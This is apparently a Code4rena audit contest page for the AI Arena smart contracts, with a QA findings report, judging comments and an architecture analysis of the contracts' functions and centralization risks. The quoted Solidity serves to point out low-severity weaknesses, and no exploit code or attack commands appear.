In this case, if call fails, it can actually lock the user's funds in the contract since the amountStaked
is updated before.
function unstakeNRN(uint256 amount, uint256 tokenId) external { require(_fighterFarmInstance.ownerOf(tokenId) == msg.sender, "Caller does not own fighter"); if (amount > amountStaked[tokenId]) { amount = amountStaked[tokenId]; } amountStaked[tokenId] -= amount; globalStakedAmount -= amount; stakingFactor[tokenId] = _getStakingFactor( tokenId, _stakeAtRiskInstance.getStakeAtRisk(tokenId) ); _calculatedStakingFactor[tokenId][roundId] = true; hasUnstaked[tokenId][roundId] = true; @> bool success = _neuronInstance.transfer(msg.sender, amount); if (success) { if (amountStaked[tokenId] == 0) { _fighterFarmInstance.updateFighterStaking(tokenId, false); } emit Unstaked(msg.sender, amount); } }
This will lead to unused approval.
_neuronInstance.approveSpender(msg.sender, price); @> bool success = _neuronInstance.transferFrom(msg.sender, treasuryAddress, price);
totalSupply()
is reached fast no more NRN tokens can be minted to fuel the GamesIt will take approximately 60k rounds to reach 300 million NRN tokens at which point there will be no more tokens left to fuel game rewards. While the current reward being set at 5000 NRN tokens is great, it can be further reduced the more the supply gets diluted so that the number of maximum rounds can go past 60k.
https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/Neuron.sol#L155
function mint(address to, uint256 amount) public virtual { require(totalSupply() + amount < MAX_SUPPLY, "Trying to mint more than the max supply"); require(hasRole(MINTER_ROLE, msg.sender), "ERC20: must have minter role to mint"); _mint(to, amount); }
fighterCreatedEmitter
can be called by everyone spamming the FighterCreated
eventWith the current implementation, anyone can call the fighterCreatedEmitter function of the FighterOps contract. Even though the events are not used offchain right now, they could be in the future which would fool off-chain services that a fighter has been created when in fact it wasn't created. The function lacks access control and can be called directly on-chain.
https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/FighterFarm.sol#L530
function fighterCreatedEmitter( uint256 id, uint256 weight, uint256 element, uint8 generation ) @> public // @audit accessible to anyone { emit FighterCreated(id, weight, element, generation); }
attributeProbabilities
mapping to have a sum of 100The probabilities sum is used for the calculation in the function dnaToIndex
. It doesn't make sense for this mapping to not have a sum of 100 for a specific generation and attribute as confirmed by the sponsor. However, there is no constraint in the code for this. Not having a sum of 100 can give false results when estimating the attributeProbabilityIndex
in this instance :
function dnaToIndex(uint256 generation, uint256 rarityRank, string memory attribute) public view returns (uint256 attributeProbabilityIndex) { uint8[] memory attrProbabilities = getAttributeProbabilities(generation, attribute); uint256 cumProb = 0; uint256 attrProbabilitiesLength = attrProbabilities.length; // 6 ? I guess not for (uint8 i = 0; i < attrProbabilitiesLength; i++) { @> cumProb += attrProbabilities[i]; if (cumProb >= rarityRank) { attributeProbabilityIndex = i + 1; break; } } return attributeProbabilityIndex; }
Morover, we have noticed that attributeProbabilityIndex
which is used for the calculation of the attributeIndex
in the function createPhysicalAttributes
and gives the theritical value of the cosmetics of a fighter will always be the same for a specific generation and attribute. This seems wrong as the cosmetics of attribute of attribute should be somewhat randomized.
RankedBattle::_addResultPoints
A user that has very little accumulatedPointsPerFighter
way less than the points required for the round it will not update his stake at Risk and he can get away with it.
if (accumulatedPointsPerFighter[tokenId][roundId] > 0) { /// If the fighter has a positive point balance for this round, deduct points points = stakingFactor[tokenId] * eloFactor; if (points > accumulatedPointsPerFighter[tokenId][roundId]) { //@audit if user has very little positive accumulatedPointsPerFighter he can get away with the loss points = accumulatedPointsPerFighter[tokenId][roundId]; } accumulatedPointsPerFighter[tokenId][roundId] -= points; accumulatedPointsPerAddress[fighterOwner][roundId] -= points; totalAccumulatedPoints[roundId] -= points; if (points > 0) { emit PointsChanged(tokenId, points, false); }
If someone finds a way to always have some points during a round and before a battle he will make sure to never lose any funds.
Players will spend voltage and not get any points but will accumulate wins or losses which will be written to the storage.
The ERC721
contract does not need to be imported again if it is already imported in the ERC721Enumerable
from Openzeppelin.
https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/FighterFarm.sol#L16
contract FighterFarm is ERC721, ERC721Enumerable {..}
AiArenaHelper
contractThe line addAttributeProbabilities(0, probabilities);
is doing the same as
for (uint8 i = 0; i < attributesLength; i++) { attributeProbabilities[0][attributes[i]] = probabilities[i]; ...
So adding the 2nd line inside the for loop is redundant.
https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/AiArenaHelper.sol#L41
constructor(uint8[][] memory probabilities) { _ownerAddress = msg.sender; // Initialize the probabilities for each attribute addAttributeProbabilities(0, probabilities); uint256 attributesLength = attributes.length; for (uint8 i = 0; i < attributesLength; i++) { attributeProbabilities[0][attributes[i]] = probabilities[i]; //@audit does the exact same thing as the line before attributeToDnaDivisor[attributes[i]] = defaultAttributeDivisor[i]; } }
https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/GameItems.sol#L61C1-L67C28
/// The address that has owner privileges (initially the contract deployer). address _ownerAddress; /// Total number of game items. uint256 _itemCount = 0; /// @dev The Neuron contract instance. Neuron _neuronInstance;
hashstructs
for better readability and securitySince the function claimFighters
is verifying that the correct batch of data are being submitted. it would better to create a struct containing all of these data and use them in a signature. This can be achieved through EIP-712.
#0 - raymondfam
2024-02-26T04:37:29Z
L-02 to #27 With the exception of L-07 being a false positive where the events emitted are inconsequential to the ones inherited by FighterFarm.sol, the report possesses an adequate amount of generic L and NC.
#1 - c4-pre-sort
2024-02-26T04:37:36Z
raymondfam marked the issue as sufficient quality report
#2 - c4-judge
2024-03-18T04:51:43Z
HickupHH3 marked the issue as grade-b
#3 - rexjoseph
2024-03-19T19:37:36Z
Hello, @HickupHH3 thanks again for taking the time to judge this contest.
L-08 is a dupe of #770. It explains the non-uniformity as issue #770 tries to explain as well. I believe L-08 in our QA report should be upgraded. Additionally, L-08 has talked about the same root cause as the issue of a non-uniform probability summation of 100.
From our issue L-08:
The probabilities sum is used for the calculation in the function dnaToIndex. It doesn't make sense for this mapping to not have a sum of 100 for a specific generation and attribute as confirmed by the sponsor. However, there is no constraint in the code for this. Not having a sum of 100 can give false results when estimating the attributeProbabilityIndex in this instance
To re-iterate your comment on issue #770, I have grabbed this excerpt:
So rarityRank is in [0,99], but there's no guarantee that the cumulative sum of the entries of the attributeProbabilities mapping will add up to 100.
If it's less than that, then the probabilities will skew in favor of 0 attributeProbabilityIndex
In essence, L-08 in our QA talks about the same issue #770 and I believe should be upgraded accordingly.
Thanks for taking another look at this issue.
π Selected for report: 0xSmartContract
Also found by: 0xAsen, 0xDetermination, 0xStriker, 0xblack_bird, 0xbrett8571, 0xepley, 0xweb3boy, 14si2o_Flint, Bauchibred, DarkTower, JayShreeRAM, JcFichtner, K42, McToady, Myd, PoeAudits, Rolezn, SAQ, ZanyBonzy, aariiif, albahaca, ansa-zanjbeel, cheatc0d3, clara, cudo, dimulski, fouzantanveer, foxb868, hassanshakeel13, hunter_w3b, kaveyjoe, klau5, peanuts, pipidu83, popeye, rspadi, scokaf, shaflow2, tala7985, wahedtalash77, yongskiws
20.0744 USDC - $20.07
Analysis Report
Index table of contents
S/NO | Particulars |
---|---|
1 | Preface |
2 | Conceptual overview |
3 | Architecture (inclusive of a Diagram) |
4 | Approach taken in evaluating the codebase |
5 | Centralization risks |
6 | Mechanism & Architecture review |
7 | Architecture Recommendations |
This analysis report has been approached with the following key points and goals in mind:
AI Arena is a GameFi protocol designed to entertain duel competitions onchain. Each round, two fighters (NFTs) do battle and the winner (if they perform well and put up some NRN stake themselves) wins some more NRN tokens; the staple AI Arena ERC20 token. Think of it as Fight Club, but with NFTs onchain. In a booming industry of GameFi protocols and moderately expensive transaction fees on Ethereum still, the protocol chose a great alternative blockchain to run on and help players manage resource costs - that blockchain being Arbitrum One. One significant challenge GameFi projects prior have faced is the limited character features of NFTs. AI Arena addresses this a number of ways but one of the most exciting feature is the ability to refill the voltage of a fighter through the VoltageManager
contract. This ensures that when an NFT fighter becomes depleted and as a result become unable to fight, you just don't discard the fighter; instead you can fill it's voltage back up as well as do more training on it by switching/opting for better rarer attributes. Not to mention, all of this fight club individual performances is incentived by earning NRN tokens, the players will always look to build up on wins for a particular fighter NFT. Rather than mint, utilize and discard, players will look to mint, utilize, rebuild, utilize and continue that cycle.
This whole protocol has a single entry point from it's launch: the redeemMintPass()
function.
This function allows users who have already gotten a hold of mint-passes to burn those mint passes in exchange for fighter NFT tokens when the protocol launches. This is a great feature. Unlike what you'd normally expect from a GameFi protocol that allows aggressive minting of NFTs at launch, AI Arena is looking to keep volume of NFTs relatively low at the beginning.
We employed a simple call path trace review process in looking at each in-scope contracts of the codebase - exploring core functions. Instead of simply stating our research day schedules and what we did each day, we find that giving you an understanding of those contracts we covered each day is a better review process for all parties involved, so we covered the contracts below:
Core contract, it houses the entry point for users into the system. With 245 lines of code, it does a ton of logic such as managing creation, ownership, mints, and redemptions of fighter NFTs. It extends the ERC721 implementation of Openzeppelin so you'd typically expect to find some unsafe external call behaviours from this contract engineered by players. Coupled with the MergingPool
contract, it is vulnerable to unsafe behaviours as we would later see.
But you can already think of this contract as the starting point for getting into the arena, the contract you and your opponents will first interact with to get your fighters.
Some crucial variables are:
uint8 public constant MAX_FIGHTERS_ALLOWED
which defaults to 10 fighters maximum per player address.
uint8[2] public maxRerollsAllowed
which enforces a bound on the max reRolls for each NFT fighter.
uint256 public rerollCost
which keeps track of the amount of NRN tokens it will cost a player to reRoll a fighter NFT.
Below we take a deep dive into some crucial functions in this contract.
incrementGeneration()
Remember Pokemon generations? This function is similar. Different generations can exist for a fighter type (fighter types are typically either champion or dendroid) and this function allows the contract owner to increment such generation for a fighter. Players mustn't increment generations arbitrarily, so it's utilizing a centralization privilege here. Upon incrementation, the maximum number of reRolls allowed for the fighter type is bumped up by 1 more free reRoll.
claimFighters()
This function as it entails allows players to claim fighter NFTs. They do this by submitting a signature signed by the _delegatedAddress
. This is a sensitive function in the sense that if implemented incorrectly, it will allow players to claim more than once using the same signature. As a player, you provide a signature signed by the _delegatedAddress
as well as the model hashes and types for the fighter NFTs you want to be minted which are then minted to your address after verifying that the provided signature is valid. This function directly calls _createNewFighter()
which is the function where minting ensues and ensures each player doesn't breach the hard cap of 10 NFTs per address.
redeemMintPass()
The entry point for this protocol at the time of launch. This function allows users who have already acquired mint passes pre-launch to redeem such mint passes for fighter NFTs. To make sure you don't mint two NFTs for 1 mint pass, it burns each mint pass before minting to your address. This is another sensitive function in the sense that if implemented wrongly, players can circumvent the 1-1 mints of NFTs to mint passes.
reRoll()
This function allows the fighter NFT owner to reRoll their fighter in the hopes of probably getting a better trait. Traits are random and each fighter NFT has a pre-set maximum number of rolls they can utilize to switch to another trait. Though this function allows the implementation of this functionality, it is not free. First, you can't have reached the max rolls, second, you must have sufficient NRN tokens to pay for the attributes you get during a roll. The NRNs are then transferred to the treasury address while you get to keep your new fighter NFT trait.
_createNewFighter()
A private function where all the fighter NFT token mints happen. All external functions exposed to users for minting new fighter tokens interact with this core function. This function is where the requirement for not breaching the address cap of maximum fighters allowed occurs. It does some pre-determinations based on your input from the calling functions to determine which attributes, generation type, and traits your fighter NFT to mint will have at which point it proceeds to mint the NFTs to your address.
This smart contract holds the most code lines of the AI Arena protocol - most of the interesting functions that is. With 277 lines of code, it serves as the contract for managing fighter reward distributions, fighter NFT track records, and staking of NRNs on fighters during battle duels. You can think of it as the second contract you interact with after accruing and building fighters with full voltages.
Some crucial variables are:
struct BattleRecord
which is a data structure for keeping track of wins, losses, and ties for a fighter.
uint8 public constant VOLTAGE_COST
set as 10 voltages per duel you initiate/join. After 10 matches, your voltage will be completely depleted.
uint256 public totalBattles
keeps track of the number of total battles that have been initiated.
mapping(uint256 => BattleRecord) public fighterBattleRecord
returns a BattleRecord
data structure for a given fighter ID.
Let's have a deep dive into some of the crucial functions this contract allows players to interact with.
setGameServerAddress()
This function allows the contract owner to set the game server address that is responsible for updating game records and delivering results on-chain. This address is similar to an oracle that feeds off-chain data to some dependent contract on-chain. You can then think of this address to act similar to the likes of a Chainlink Oracle.
setStakeAtRiskAddress()
The StakeAtRisk
contract which manages staking NRNs for fighters during a duel needs to be set as you would expect to facilitate that very task when a round ensues.
setNewRound()
Rounds are initiated one at a time and only admin addresses are allowed to do this. When a round ends, lost NRN tokens are swept to the protocol's treasury address and winners are rewarded with corresponding NRN tokens according to their points. When this round is set the current round ID is incremented by 1 to move us past the last round.
stakeNRN()
One crucial thing to note is that if you have unstaked for the current round before, it doesn't let you come back in to pledge a stake. Rather weird, but we can understand the logic for this as it means if you get out of the game with your stake, you won't be allowed back in for that fighter. You must hold the equivalent amount of NRN tokens you intend to stake or more in your wallet to ensure this transaction is a success.
unstakeNRN()
Opposite of calling stakeNRN()
, this function unstakes NRN tokens from a fighter NFT they have currently staked for in the current game round.
claimNRN()
This function handles the claiming of NRN tokens won for a specified round(s). Winners are allowed to claim only once per round they have been selected a winner for and no more.
updateBattleRecord()
This function has strict enforcement that calls must come from the game server address. When called by such address, the function updates the battle record for a specific fighter NFT such as the current battle result (which will be win, lose, or a tie), the total battles the fighter has fought, etc. If this function had been exposed to anyone, some players would 90% of the time call it to update perhaps a leading fighter with bad data. The AI Arena protocol gates this function to ensure only valid records supplied by the server address can be used for each fighter NFT battle record.
105 lines of code, but plenty of interesting logic within those lines. This contract handles a similar logic to airdropping in the sense that it allows a player to potentially earn a new fighter. Let's dive right in and explore some of it's crucial variables first:
uint256 public winnersPerPeriod
storage variable to set the bound for the number of winners per period. This variable can be updated at any time by an admin. Initially, it starts with two winners per period.
uint256 public roundId
storage variable to keep track of the current round ID; set to 0 which is a little redundant to set a default 0 value to another 0 value. The protocol team can just leave it uninitialized instead.
mapping(uint256 => address[]) public winnerAddresses
keeps track of the winner addresses in a specified round.
mapping(uint256 => bool) public isSelectionComplete
is crucial and keeps track of whether or not a round's winner selection is completed.
Some crucial functions include:
updateWinnersPerPeriod()
Allows an admin to change the number of winners to be picked per round.
pickWinner()
When a round's winner selection is due, an admin calls this function to pick winners. Assume Bob and Alice are winners for rounds 0 & 1. When this function is executed, it means both Bob and Alice are entitled to 2 fighter NFTs for both rounds. These NFTs can be minted in the next function we will explore. When the winners are selected, the current round's selection completion is set to true to reflect this change, and the roundId
is increased.
claimRewards()
This is the function Bob and Alice will call to claim their won NFT fighters. This function mints fighter NFTs from the MergingPool
contract provided that the caller is indeed a winner for the rounds. Each winner is entitled to the amount they are due and no more than which means each winner will typically get the same amount of fighter NFTs - if Bob gets 2, Alice gets 2.
With just 90 lines of code, this contract allows management of fighter attributes such as the head
, eyes
, mouth
, body
, hands
, and feet
etc.
Core functionalities are:
createPhysicalAttributes()
Allows players to create physical attributes for a fighter based on the supplied DNA. This function when supplied with the necessary arguments, proceeds to create the physical attributes utilizing the FighterOps
library contract which we will not have a deep dive into during this analysis as it's pretty minimal.
addAttributeProbabilities()
Allows the functionality to add attribute probabilities for a given generation ID. This function is centralized and only accessible to the contract owner.
Another core function of this contract is the deleteAttributeProbabilities()
function which does the opposite of the addAttributeProbabilities
function logic - allowing deletions of attribute probabilities for a given generation ID.
This contract plays a vital role in the AI Arena protocol as it is the contract to manage NRN tokens that are at risk of being swept in the case of a loss during a battle round. Some crucial functions we will cover are:
setNewRound()
To set a new staking round, the RankedBattle
contract has to be the address calling this function to run the transaction. When this function is called, the previous staked and lost NRN tokens escrowed in this contract need to be transferred out, so it calls the _sweepLostStake()
function to transfer the lost NRN balances to the treasury address after which it initializes a new round.
reclaimNRN()
Allows a fighter the opportunity to regain their staked NRN tokens against a fighter NFT. The call to this transaction must be from the RankedBattle
contract which is done after the battle records update for a specific fighter has been carried out. It transfers the NRN tokens to reclaim to the RankedBattle
contract and ensures if the transaction is successful, the internal balances of this contract's stakes at risk for a fighter, round, and amount lost are adjusted to reflect the new state resulting from this action.
_sweepLostStake()
The function that handles the NRN tokens at risk transfers to the treasury address. These are typically tokens lost in a round being swept from this contract's balance.
Implementation contract for managing power/voltage refills for players in the AI Arena protocol. It exposes some functions to use voltage as well as replenish it.
useVoltageBattery()
When this function is called, it makes sure the current voltage for the player/msg.sender is less than 100 (has been used at least). Then it burns a battery from the player and replenishes the player's voltage back up to a hundred (full). You can think of it like an in-game play store where you typically would expect to spend dollars to replenish your battery or wait 24 hours for it to automatically come back up.
spendVoltage()
This function allows a player to spend their just replenished voltage. You specify how much voltage you want to use from the player's address and you must be authorized to spend voltages on behalf of the player or be the player yourself for this function to not revert. Then it proceeds to log and decrement your voltage by the amount being spent. If the last time you refilled your voltage was 24 hours ago, it first proceeds to refill it back up to 100%.
_replenishVoltage()
This function does the logic for replenishing voltages. Voltages can only be replenished every 24 hours and the timelock for that is done within this function when called from the spendVoltage()
function.
The second most crucial contract in our opinion for this whole protocol to be exciting. This contract houses the NRN token implementation that fuels the AI Arena protocol. It has most of the ERC20 specification features you would expect from a token such as the burn
, and mint
functions to engineer token supply alterations.
Two interesting and unusual functions we would like to deep dive into for this contract are the setupAirdrop()
& claim()
functions.
setupAirdrop()
Allows an admin to set up NRN token airdrop for an array of addresses and sets the amount of tokens each one of these addresses can claim. Ideally, for an airdrop you would expect a function that allows an admin to run the distribution but the protocol has opted to use a claim()
mechanism to implement this. If the claim is implemented wrongly, it will pose vulnerabilities that allow some whitelisted addresses to double or triple claim. Even worse, it could allow non-whitelisted addresses to claim NRN tokens from an airdrop.
claim()
The function that allows a whitelisted address to claim the tokens they're approved for from the airdrop. Implemented very simply and cleanly.
This contract facilitates the collection creation of game items and management in the AI Arena Protocol. Let's dive deep into the nitty gritty for some interesting functions.
mint()
If a game item has been created, that is, it exists as a collection, the caller of this function will be able to mint such game item as an ERC1155 token by paying the correct amount of NRN tokens it costs to mint the game item.
createGameItem()
Allows the functionality of new game item creation and is only accessible to an admin. This function takes a couple of arguments such as the name for the game item, the token URI, whether or not it should have a finite (capped) supply, if it should be transferable between addresses (players), the number of items remaining (in the case it should have a finite supply), item price (in NRN tokens), and the daily allowance for minting such item. Then it uses all of these arguments to create the game item and opens the floor for purchases of it.
burn()
Allows a predetermined address with burner privilege to burn game items from an address.
The functions listed below have accessibility prohibited to the _ownerAddress
, isAdmin
, allowedBurningAddresses
, hasStakerRole
addresses that can cause potential issues resulting from too much power concentration. Notably, these issues are more apparent in the GameItems
contract for example where the creation of a game item is solely controlled by an admin address or the burn
function which can engineer a burn across any address. Perhaps allowing addresses to burn their items at will as well will be great. Perhaps allow a fighter the ability to adjust staking for their fighter in the future. Perhaps users should be able to approve others to spend NRN tokens on their behalf instead of only addresses that have the SPENDER_ROLE
.
Upon successful review of this codebase, we concluded that the AI Arena Protocol re-imagines GameFi in another perspective not yet widely adopted, "Player vs Player" while implementing a couple of unique features, all of which ensure fighter NFTs will not just be minted and discarded or left in addresses to rot. Instead, encourages a competitive arena where fighter NFTs are continually advanced by their owners.
Comparison between AI Arena and Axie Infinity
Feature | AI Arena | Axie Infinity |
---|---|---|
Goal | A more decentralized Player vs Player protocol empowering one-to-one duels within the community | An all-in-one GameFi protocol pioneering Play to Earn duels within the community |
ERC20 Tokens | Earned only if a player stakes it against their opponent in battle and wins. Used as rewards by the protocol and serves as the currency for purchasing in-game items | Rewards players for just playing the game in SLP tokens (Smooth Love Potion Tokens) as a result players strictly play for the monetary reward |
In-game items | Players use the AI Arena's staple NRN tokens to fund their game item purchases | Players use the AXS token to fund their game item purchases |
Rebuild & Powerups | Each fighter/player can be depleted and will utilize battle energy known as "voltage" or "voltage points" to initiate a battle. These voltages must be refilled when depleted or 24 hours after the last refill | No such mechanism exists within the protocol. Essentially, it's become like a game where players are seen as immortals which isn't that exciting to foster competitiveness |
Benefits for playing | Keep a great track record, and then you get to earn NRN tokens and advance your leaderboard ranks. Become mediocre and be punished for points and token slashes - all-in-all breeding player advancements | Essentially, anyone can benefit from earning irrespective of whether or not you're good at the game |
Accessibility & Cost | Will run on Arbitrum One, thereby fostering great adoption due to low-cost transactions | More costly to play and pay transaction fees being a result of being built on Ethereum |
AI-trained models | Players can train and set their trained models for the fighters they own. This is done off-chain and recorded on-chain. | No such similar model exists |
What is unique?
Voltage refills - Duels consume energy, 10% of a fighter NFT's voltage to be precise per initiated duel. There isn't such a unique feature yet in other GameFi protocols. These voltages must be refilled once depleted to continue initiating duels.
Mintpasses - Before the launch of the AI Arena protocol, some users have access to mint the first few fighter NFTs. Once the protocol launches, these users then redeem the mint passes for fighter NFTs.
Staked risk - Players can typically earn NRN tokens if they win and have some stake (NRN tokens) in the just completed battle. These stakes are facilitated as NRN tokens and earned as long as the player wins and keeps a consistent winning record.
What could be incorporated?
The game is meant to foster player vs player duels and reward a good track record over time. One of the main drivers so far for blockchain games has been the rewards promised to winners/players but another driving factor players pay more attention to are in-game items.
At this stage of the protocol's development, it is good to keep the creation of in-game items to a small body of trusted individuals such as the protocol owner or an admin. But as the game advances, players will push for more decentralization of this specific function. They would want to have more flexibility for who can decide/create in-game items that will exist within the protocol.
At some point in the future, if not so soon; players will want to have the ability to update their stakes for a fighter NFT, and having this feature be restricted to one of the protocol's other contracts will breed this push from players. On the one hand, it makes sense that whatever NRN tokens you have staked on the outcome of a duel for your fighter cannot be pulled out/unstaked mid-game. On the other hand, it also makes sense that I might want to quit a game before it even starts for unforeseen reasons, and being unable to undo my stakes or participation is a bummer.
This contract has a certain number of vulnerabilities posed but we will try to give an overview of one such vulnerability being the ability for a winner to claim more than their predetermined NFT count to be minted to them.
This is no good. As one transaction breeds a movement and any movement can be seen onchain. With one address running a malicious behavior, it quickly becomes two, three, or twenty addresses doing the same thing. The contract needs to re-think how it handles these edge case problems that breed this movement and render blockades to stop it from ensuing in the first place.
There's a relatively low amount of external calls that happen within the protocol.
These calls happen when a player gets minted a player NFT either through claiming fighters, redeeming mint passes for fighter NFTs, or minting from merging pool claims. These are ERC721 token mints that implement the external call check onERC721Received
to determine if the receiving address can receive/process NFTs. Another contract where such external calls happen is the GameItems
contract which calls the ERC1155 _doSafeTransferAcceptanceCheck
on the receiving address to determine if it can process such transferred NFT token.
These external calls aren't vulnerable by themselves when implemented correctly. However, we have been able to exploit a case(s) where a malicious user can gain additional tokens from one such call for which we have suggested a fix in the corresponding report case.
Note: Consider the following points to judge:
48 hours (High & Medium findings, QA findings, and Analysis report)
48 hours
#0 - c4-pre-sort
2024-02-25T20:41:45Z
raymondfam marked the issue as sufficient quality report
#1 - c4-judge
2024-03-19T07:59:37Z
HickupHH3 marked the issue as grade-b